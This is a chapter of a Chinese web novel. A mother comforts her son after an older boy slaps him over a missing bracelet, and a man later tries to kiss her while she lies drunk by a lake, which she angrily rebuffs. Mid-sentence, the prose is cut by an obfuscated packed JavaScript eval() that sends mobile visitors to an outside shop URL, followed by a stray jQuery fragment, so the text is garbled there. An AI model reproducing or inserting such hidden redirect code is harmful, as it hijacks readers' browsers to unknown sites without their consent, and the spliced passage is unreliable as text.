阮清宴清晨每每要到琴室去总是闷闷不乐,恨不得抱着裴令春哭一场。
裴令春也没放在心上,只以为他是厌学。
小孩子总难免如此,她小时候也厌学,隔三差五就装病在家躺着,阮清宴跟她比算好的。
只是今日却有些不同。
平日里一进门就往裴令春身边跑的阮清宴,今日一回到抱月轩却只敢躲在云枝身后,低着头,不似往日那般迫不及待地往裴令春身边蹭。
云枝将阮清宴拉到裴令春跟前,一只手搭在他瘦小的肩膀上,轻轻往前推了推:“抬头,让你娘亲瞧瞧。”
阮清宴被云枝轻推了下,身子晃了晃,却纹丝不动地站在原地低垂着头,十根手指头紧紧揪着衣摆,将柔软的衣料揉得皱皱巴巴。
裴令春放下手中的话本,视线从书页上移开,看向云枝:“这是怎么了?”
云枝叹了口气:“你瞧瞧他的脸就知道了。”
裴令春伸手,握住阮清宴攥着衣摆的小手,将人轻轻牵到面前,指尖掐着男孩纤细的下巴轻轻一抬。
灯下,男孩一双黑白分明的大眼睛此时哭得通红,眼皮肿得像是两只小核桃,左边脸颊高高隆起,上头无比清晰地印着一个巴掌印。
别提有多可怜了。
阮清宴抿着唇,一对上裴令春的视线,眼眶里蓄了许久的泪珠终于忍不住夺眶而出。
他伸长了手臂,受了天大的委屈一般,整个身子拼命往裴令春怀里钻。
裴令春将人抱在怀中,肩头的衣料迅速被温热的泪水浸湿。
她低声开口问:“……这是谁打的?”
醉月楼的教习即使是教训学生,也断然不会往男孩脸上打。
“他不愿意同我说,想必是在琴室被人欺负了。”云枝又是心疼又是气急,他去接人的时候,阮清宴已经躲在琴室外的廊柱后面哭了半晌,他问了一路,这孩子愣是咬着嘴唇一个字都不肯说,“我去取药,你再问问看。”
裴令春低头,用拇指蹭去阮清宴眼角溢出来的泪珠,柔声问:“是哥哥打的?”
阮清宴吸吸鼻子,埋在裴令春的衣襟里微微点头。
裴令春又问:“哪个哥哥?长什么样子?”
阮清宴摇摇头,想了好一会儿,才抱着裴令春的脖颈小声开口:“总是穿红衣服的哥哥……眉心有朵小花儿。”
裴令春立刻知道是谁了。
“他为什么打你?”
阮清宴下唇瓣被牙齿咬得发白,眼泪又在眼眶里打转,裴令春连忙捧着他的脸,嘴里轻声哄着,哄了好一会儿,他才勉强止住,抽噎着说:“哥哥说、嗝、说我偷了他的镯子……让我明天必须还给他……可是我、我根本没见过他的镯子……”
“就为了一个镯子?”裴令春满心无奈,
醉月楼这样的事儿时时都有。这个拿了那个的簪子,那个偷了这个的玉佩,不过是个小首饰,总是恨不得闹得个满城风雨。
“他要真缺一个镯子,你送他一个好了,什么好东西闹到要打人的地步。”裴令春一手仍抱着阮清宴,另一只手抽开矮几的抽屉,在里头翻了翻,翻出一个金镯子递给阮清宴, “你把这个送他,跟他说清楚了,东西你没拿,但他要真是缺,你可以送他几个。记住了吗?”
阮清宴接过金镯子,低头看着上头漂亮精致的流云纹,含泪嘀咕道:“他的那个才没有这样漂亮。”
裴令春摸摸他的脑袋:“你若是伶俐些,也就不会有这样的事。往后见了他就躲远些,知道吗?”
阮清宴点点头,把金镯子小心翼翼地攥在手心。
云枝拿着药箱推门进来,正好听到两人的话。
他将药箱放在桌上,打开盖子取出药膏,余光瞥见阮清宴手中的金镯,抿唇道:“这不是之前你日日戴的那只吗?他的镯子又不是宴儿拿的,做什么要白给他?”
“不给怎么办?男孩家的事我又不好插手去管。”裴令春从云枝手中接过药盒,用指尖挑了药膏,一点一点地往阮清宴肿起的脸颊上抹,“更何况旁人也就算了,爹他一向宠爱小檀,这事儿真闹大了万一收不住,如何是好?”
可云枝低头看着阮清宴的脸颊上那清晰的巴掌印,还是忍不住埋冤:“这小檀也是,养在江蓠那里,江蓠也不知道好生管教,就这样任由他胡作非为?”
裴令春哼笑一声,将药盒合上,对阮清宴道:“明日就先不去琴室了,养好了脸再出门,省得让旁人看了笑话。”
阮清宴眼睛一亮,顶着红肿的面容,小心翼翼地抱住裴令春,仰头问:“那娘亲可以留在家里陪我吗?”
“可以。”裴令春低头看着他那张又肿又花的小脸,指尖在他鼻尖上轻轻点了一下。
不过几日,深夜。
醉月楼做东,宴请与醉月楼相好的几家商户商谈来年的合作事宜。
裴令春身为名义上的醉月楼掌柜自然要跟着出面,一直与众人饮酒至深夜,到散席时已是脚步虚浮、神思恍惚。
她从风月台出来,还未走到抱月轩就有些脱力,腿软得迈不开步子,干脆摇摇晃晃地拐进明心湖畔的小亭,趴在石桌上,想让夜风吹散些酒气。
湖边的夜风要比院子里冷冽得多,吹在脸上像一把薄薄的刀片。
远处风月台的丝竹声隔着一片水面传过来,被风吹得断断续续,时远时近。
月色被厚厚的云层遮去了大半,只余下一团模糊的影子悬在天上。
江蓠提着灯,沿着湖边的碎石小道,来来回回走了半个时辰才终于找到她。
他将铜灯放在石桌上,昏黄的烛光从灯罩里透出来,柔柔地笼罩在女人身上。
她半边脸埋在肘弯里,只露出一小片光洁的额头和一只阖着的眼。漆黑的眼睫在颊上投下一片墨一般浓重的影子。
江蓠心头颤动,原本是找借口与裴令春谈话,此时却也忘得差不多了。
他屏住呼吸,指尖颤抖着落在女人肩头,隔着衣料女人身上灼热的温度似乎能顺着掌心的脉络传递到他心上。
“令春?”江蓠轻声唤道。
没有人应。
石桌上的人依旧睡得很沉。
江蓠抬起头,飞快地扫了一眼四周。
湖面上几盏花灯在水波里摇荡,岸边空无一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741680|208406||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人。
江蓠的心脏在胸腔里咚咚直跳,他抿着唇,微微俯下身,柔亮的发丝顺势垂落在石桌上,与裴令春散落在石桌上的墨发交缠在一起。
他心下生怕裴令春醒过来,只敢一点一点地靠近,直到近到能闻见她身上浓郁的酒气和底下那一缕他熟悉的清甜百合香。
就在他的唇瓣几乎要碰触到她的脸颊时,他才屏住呼吸,试探般低声问:“令春,这里冷……我送你回去好不好?”
放在裴令春肩头的掌心微微发热,他都不知道自己多久没碰过裴令春了。
这些年任由江蓠怎样卑躬屈膝,裴令春对他一如往常般半点好脸色都没有。他无数次想过放弃,可每次看见她所有的决心便又都土崩瓦解了。
或许真是自己犯贱吧?即使知道会招致恶言,还是依旧一而再再而三地向她靠近。
如今两人近在咫尺,江蓠才微微闭上眼,将唇瓣贴了上去。
就在唇瓣几乎要碰触到裴令春的脸颊时,裴令春忽然缓缓睁开眼,眼睫扫过男人的面颊,冰冷的视线直直望向他骤然睁开的双眼中。
两人此时相距不过半寸,瞳孔里清晰倒映着彼此的影子。
江蓠的唇停在距离裴令春不过毫厘的半空,像是被一只无形的手扼住了咽喉。
下一刻,他闭上眼,手臂从背后搂住裴令春的腰,义无反顾地吻了下去。
唇瓣刚刚碰触到她的脸颊,裴令春就骤然起身,将他狠狠推开。
“你疯了是不是?”裴令春眼前有片刻的眩晕,她的手掌撑着石桌,半晌才稳住身形,朝跌倒在地的江蓠低声骂道,“下贱东西。”
江蓠手心擦在了碎石地面上火辣辣地疼,听见那句“下贱东西”时,身体本能地颤抖了一下。
他抬手轻轻擦拭着眼睑下的泪珠,身上月白的长衫沾染上些许尘土,乌发徐徐逶迤在地面上,如同上好的绸缎般在月色和烛光的映衬下闪着幽光。
“……我不过是担心裴娘子受冻。”他轻声说道,语气平静而恭顺。
裴令春捂着钝痛的脑袋,酒气和怒气在胸□□叠翻涌,挤得她的胃也跟着一阵阵抽搐。
沉默良久。
湖边的夜风一阵接一阵地刮过来,裴令春混乱的头脑被冷风一吹,倒也清醒了许多。
裴令春微闭上眼,只道:“回屋去。以后我的事儿你少管。”
江蓠见裴令春似有消气,这才扶着石桌,挣扎着从地上站起身,从袖中取出那件被他攥了一路的东西小心捧到裴令春面前。
男人低下头,长长的睫毛在烛光下轻轻颤动,隐隐露出泛红的眼角:“这镯子……是你的旧物,不该轻易赠人的。小檀的事我已经说过他了,对宴儿多有冒犯,改日我带着他亲自登门道歉。”
他纤细的手掌摊开在她面前,手心还带着方才摔倒时擦出的伤痕,几粒细小的沙粒嵌在鲜红渗血的皮肉里,血肉模糊。
往日洁净无瑕的手因为疼痛轻轻颤抖着,可那只金镯子却完好无损。
裴令春瞥了一眼便收回目光,指尖不耐地揉揉眉心:“不必了,已经送出去就断然没有收回的道理。”